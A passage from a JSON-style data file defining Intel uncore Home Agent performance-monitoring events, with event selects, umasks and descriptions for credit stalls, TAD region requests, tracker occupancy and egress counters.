"HA.STALL_NO_SBO_CREDIT": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 108,
"ExtSel": "",
},
"HA.STALL_NO_SBO_CREDIT.SBO0_BL": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 108,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.STALL_NO_SBO_CREDIT.SBO1_BL": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 108,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.STALL_NO_SBO_CREDIT.SBO1_AD": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 108,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.STALL_NO_SBO_CREDIT.SBO0_AD": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 108,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TAD_REQUESTS_G0": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
},
"HA.TAD_REQUESTS_G0.REGION3": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001000",
},
"HA.TAD_REQUESTS_G0.REGION1": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"HA.TAD_REQUESTS_G0.REGION6": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b01000000",
},
"HA.TAD_REQUESTS_G0.REGION0": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"HA.TAD_REQUESTS_G0.REGION4": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00010000",
},
"HA.TAD_REQUESTS_G0.REGION7": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b10000000",
},
"HA.TAD_REQUESTS_G0.REGION2": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"HA.TAD_REQUESTS_G0.REGION5": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 0 to 7. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 0",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00100000",
},
"HA.TAD_REQUESTS_G1": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 8 to 10. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 1",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
},
"HA.TAD_REQUESTS_G1.REGION8": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 8 to 10. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 1",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"HA.TAD_REQUESTS_G1.REGION9": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 8 to 10. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 1",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"HA.TAD_REQUESTS_G1.REGION11": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 8 to 10. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 1",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001000",
},
"HA.TAD_REQUESTS_G1.REGION10": {
"Box": "HA",
"Category": "HA TAD Events",
"Counters": "0-3",
"Defn": "Counts the number of HA requests to a given TAD region. There are up to 11 TAD (target address decode) regions in each home agent. All requests destined for the memory controller must first be decoded to determine which TAD region they are in. This event is filtered based on the TAD region ID, and covers regions 8 to 10. This event is useful for understanding how applications are using the memory that is spread across the different memory regions. It is particularly useful for \"Monroe\" systems that use the TAD to enable individual channels to enter self-refresh to save power.",
"Desc": "HA Requests to a TAD Region - Group 1",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"HA.TRACKER_CYCLES_FULL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is completely used. This can be used with edge detect to identify the number of situations when the pool became fully utilized. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, the system could be starved for RTIDs but not fill up the HA trackers. HA trackers are allocated as soon as a request enters the HA and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Full",
"EvSel": 2,
"ExtSel": "",
},
"HA.TRACKER_CYCLES_FULL.ALL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is completely used. This can be used with edge detect to identify the number of situations when the pool became fully utilized. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, the system could be starved for RTIDs but not fill up the HA trackers. HA trackers are allocated as soon as a request enters the HA and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Full",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.TRACKER_CYCLES_FULL.GP": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is completely used. This can be used with edge detect to identify the number of situations when the pool became fully utilized. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, the system could be starved for RTIDs but not fill up the HA trackers. HA trackers are allocated as soon as a request enters the HA and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Full",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TRACKER_CYCLES_NE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is not empty. This can be used with edge detect to identify the number of situations when the pool became empty. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, this buffer could be completely empty, but there may still be credits in use by the CBos. This stat can be used in conjunction with the occupancy accumulation stat in order to calculate average queue occpancy. HA trackers are allocated as soon as a request enters the HA if an HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Not Empty",
"EvSel": 3,
"ExtSel": "",
},
"HA.TRACKER_CYCLES_NE.ALL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is not empty. This can be used with edge detect to identify the number of situations when the pool became empty. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, this buffer could be completely empty, but there may still be credits in use by the CBos. This stat can be used in conjunction with the occupancy accumulation stat in order to calculate average queue occpancy. HA trackers are allocated as soon as a request enters the HA if an HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Not Empty",
"EvSel": 3,
"ExtSel": "",
"Umask": "b00000011",
},
"HA.TRACKER_CYCLES_NE.REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is not empty. This can be used with edge detect to identify the number of situations when the pool became empty. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, this buffer could be completely empty, but there may still be credits in use by the CBos. This stat can be used in conjunction with the occupancy accumulation stat in order to calculate average queue occpancy. HA trackers are allocated as soon as a request enters the HA if an HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Not Empty",
"EvSel": 3,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.TRACKER_CYCLES_NE.LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the local HA tracker pool is not empty. This can be used with edge detect to identify the number of situations when the pool became empty. This should not be confused with RTID credit usage -- which must be tracked inside each cbo individually -- but represents the actual tracker buffer structure. In other words, this buffer could be completely empty, but there may still be credits in use by the CBos. This stat can be used in conjunction with the occupancy accumulation stat in order to calculate average queue occpancy. HA trackers are allocated as soon as a request enters the HA if an HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Cycles Not Empty",
"EvSel": 3,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TRACKER_OCCUPANCY": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"HA.TRACKER_OCCUPANCY.READS_REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxx1xxx",
},
"HA.TRACKER_OCCUPANCY.WRITES_LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxx1xxxx",
},
"HA.TRACKER_OCCUPANCY.WRITES_REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxx1xxxxx",
},
"HA.TRACKER_OCCUPANCY.READS_LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxx1xx",
},
"HA.TRACKER_OCCUPANCY.INVITOE_REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "b1xxxxxxx",
},
"HA.TRACKER_OCCUPANCY.INVITOE_LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the local HA tracker pool in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if a HT (Home Tracker) entry is available and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "Tracker Occupancy Accumultor",
"EvSel": 4,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bx1xxxxxx",
},
"HA.TRACKER_PENDING_OCCUPANCY": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the number of transactions that have data from the memory controller until they get scheduled to the Egress. This can be used to calculate the queuing latency for two things. (1) If the system is waiting for snoops, this will increase. (2) If the system can't schedule to the Egress because of either (a) Egress Credits or (b) QPI BL IGR credits for remote requests.",
"Desc": "Data Pending Occupancy Accumultor",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 127,
"SubCtr": 1,
},
"HA.TRACKER_PENDING_OCCUPANCY.LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the number of transactions that have data from the memory controller until they get scheduled to the Egress. This can be used to calculate the queuing latency for two things. (1) If the system is waiting for snoops, this will increase. (2) If the system can't schedule to the Egress because of either (a) Egress Credits or (b) QPI BL IGR credits for remote requests.",
"Desc": "Data Pending Occupancy Accumultor",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 127,
"SubCtr": 1,
"Umask": "b00000001",
},
"HA.TRACKER_PENDING_OCCUPANCY.REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Accumulates the number of transactions that have data from the memory controller until they get scheduled to the Egress. This can be used to calculate the queuing latency for two things. (1) If the system is waiting for snoops, this will increase. (2) If the system can't schedule to the Egress because of either (a) Egress Credits or (b) QPI BL IGR credits for remote requests.",
"Desc": "Data Pending Occupancy Accumultor",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 127,
"SubCtr": 1,
"Umask": "b00000010",
},
"HA.TxR_AD_CYCLES_FULL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AD Egress Full",
"Desc": "AD Egress Full",
"EvSel": 42,
"ExtSel": "",
},
"HA.TxR_AD_CYCLES_FULL.SCHED1": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AD Egress Full",
"Desc": "AD Egress Full",
"EvSel": 42,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.TxR_AD_CYCLES_FULL.ALL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AD Egress Full",
"Desc": "AD Egress Full",
"EvSel": 42,
"ExtSel": "",
"Umask": "bxxxxxx11",
},
"HA.TxR_AD_CYCLES_FULL.SCHED0": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AD Egress Full",
"Desc": "AD Egress Full",
"EvSel": 42,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TxR_AK": {
"Box": "HA",
"Category": "HA OUTBOUND_TX Events",
"Counters": "0-3",
"Desc": "Outbound Ring Transactions on AK",
"EvSel": 14,
"ExtSel": "",
},
"HA.TxR_AK_CYCLES_FULL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AK Egress Full",
"Desc": "AK Egress Full",
"EvSel": 50,
"ExtSel": "",
},
"HA.TxR_AK_CYCLES_FULL.SCHED1": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AK Egress Full",
"Desc": "AK Egress Full",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.TxR_AK_CYCLES_FULL.ALL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AK Egress Full",
"Desc": "AK Egress Full",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxxxx11",
},
"HA.TxR_AK_CYCLES_FULL.SCHED0": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "AK Egress Full",
"Desc": "AK Egress Full",
"EvSel": 50,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TxR_BL": {
"Box": "HA",
"Category": "HA OUTBOUND_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS messages sent out on the BL ring. This can be filtered by the destination.",
"Desc": "Outbound DRS Ring Transactions to Cache",
"EvSel": 16,
"ExtSel": "",
},
"HA.TxR_BL.DRS_QPI": {
"Box": "HA",
"Category": "HA OUTBOUND_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS messages sent out on the BL ring. This can be filtered by the destination.",
"Desc": "Outbound DRS Ring Transactions to Cache",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.TxR_BL.DRS_CORE": {
"Box": "HA",
"Category": "HA OUTBOUND_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS messages sent out on the BL ring. This can be filtered by the destination.",
"Desc": "Outbound DRS Ring Transactions to Cache",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.TxR_BL.DRS_CACHE": {
"Box": "HA",
"Category": "HA OUTBOUND_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of DRS messages sent out on the BL ring. This can be filtered by the destination.",
"Desc": "Outbound DRS Ring Transactions to Cache",
"EvSel": 16,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TxR_BL_CYCLES_FULL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "BL Egress Full",
"Desc": "BL Egress Full",
"EvSel": 54,
"ExtSel": "",
},
"HA.TxR_BL_CYCLES_FULL.SCHED1": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "BL Egress Full",
"Desc": "BL Egress Full",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.TxR_BL_CYCLES_FULL.ALL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "BL Egress Full",
"Desc": "BL Egress Full",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxxxx11",
},
"HA.TxR_BL_CYCLES_FULL.SCHED0": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "BL Egress Full",
"Desc": "BL Egress Full",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TxR_BL_OCCUPANCY": {
"Box": "HA",
"Category": "HA BL_EGRESS Events",
"Counters": "0-3",
"Defn": "BL Egress Occupancy",
"Desc": "BL Egress Occupancy",
"EvSel": 52,
"ExtSel": "",
"MaxIncCyc": 20,
"SubCtr": 1,
},
"HA.TxR_STARVED": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "Counts injection starvation. This starvation is triggered when the Egress cannot send a transaction onto the ring for a long period of time.",
"Desc": "Injection Starvation",
"EvSel": 109,
"ExtSel": "",
},
"HA.TxR_STARVED.AK": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "Counts injection starvation. This starvation is triggered when the Egress cannot send a transaction onto the ring for a long period of time.",
"Desc": "Injection Starvation",
"EvSel": 109,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.TxR_STARVED.BL": {
"Box": "HA",
"Category": "HA EGRESS Events",
"Counters": "0-3",
"Defn": "Counts injection starvation. This starvation is triggered when the Egress cannot send a transaction onto the ring for a long period of time.",
"Desc": "Injection Starvation",
"EvSel": 109,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.WPQ_CYCLES_NO_REG_CREDITS": {
"Box": "HA",
"Category": "HA WPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting writes from the HA into the iMC. In order to send writes into the memory controller, the HA must first acquire a credit for the iMC's WPQ (write pending queue). This queue is broken into regular credits/buffers that are used by general writes, and \"special\" requests such as ISOCH writes. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "HA iMC CHN0 WPQ Credits Empty - Regular",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 4,
},
"HA.WPQ_CYCLES_NO_REG_CREDITS.CHN2": {
"Box": "HA",
"Category": "HA WPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting writes from the HA into the iMC. In order to send writes into the memory controller, the HA must first acquire a credit for the iMC's WPQ (write pending queue). This queue is broken into regular credits/buffers that are used by general writes, and \"special\" requests such as ISOCH writes. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "HA iMC CHN0 WPQ Credits Empty - Regular",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000100",
},
"HA.WPQ_CYCLES_NO_REG_CREDITS.CHN0": {
"Box": "HA",
"Category": "HA WPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting writes from the HA into the iMC. In order to send writes into the memory controller, the HA must first acquire a credit for the iMC's WPQ (write pending queue). This queue is broken into regular credits/buffers that are used by general writes, and \"special\" requests such as ISOCH writes. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "HA iMC CHN0 WPQ Credits Empty - Regular",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000001",
},
"HA.WPQ_CYCLES_NO_REG_CREDITS.CHN1": {
"Box": "HA",
"Category": "HA WPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting writes from the HA into the iMC. In order to send writes into the memory controller, the HA must first acquire a credit for the iMC's WPQ (write pending queue). This queue is broken into regular credits/buffers that are used by general writes, and \"special\" requests such as ISOCH writes. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "HA iMC CHN0 WPQ Credits Empty - Regular",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000010",
},
"HA.WPQ_CYCLES_NO_REG_CREDITS.CHN3": {
"Box": "HA",
"Category": "HA WPQ_CREDITS Events",
"Counters": "0-3",
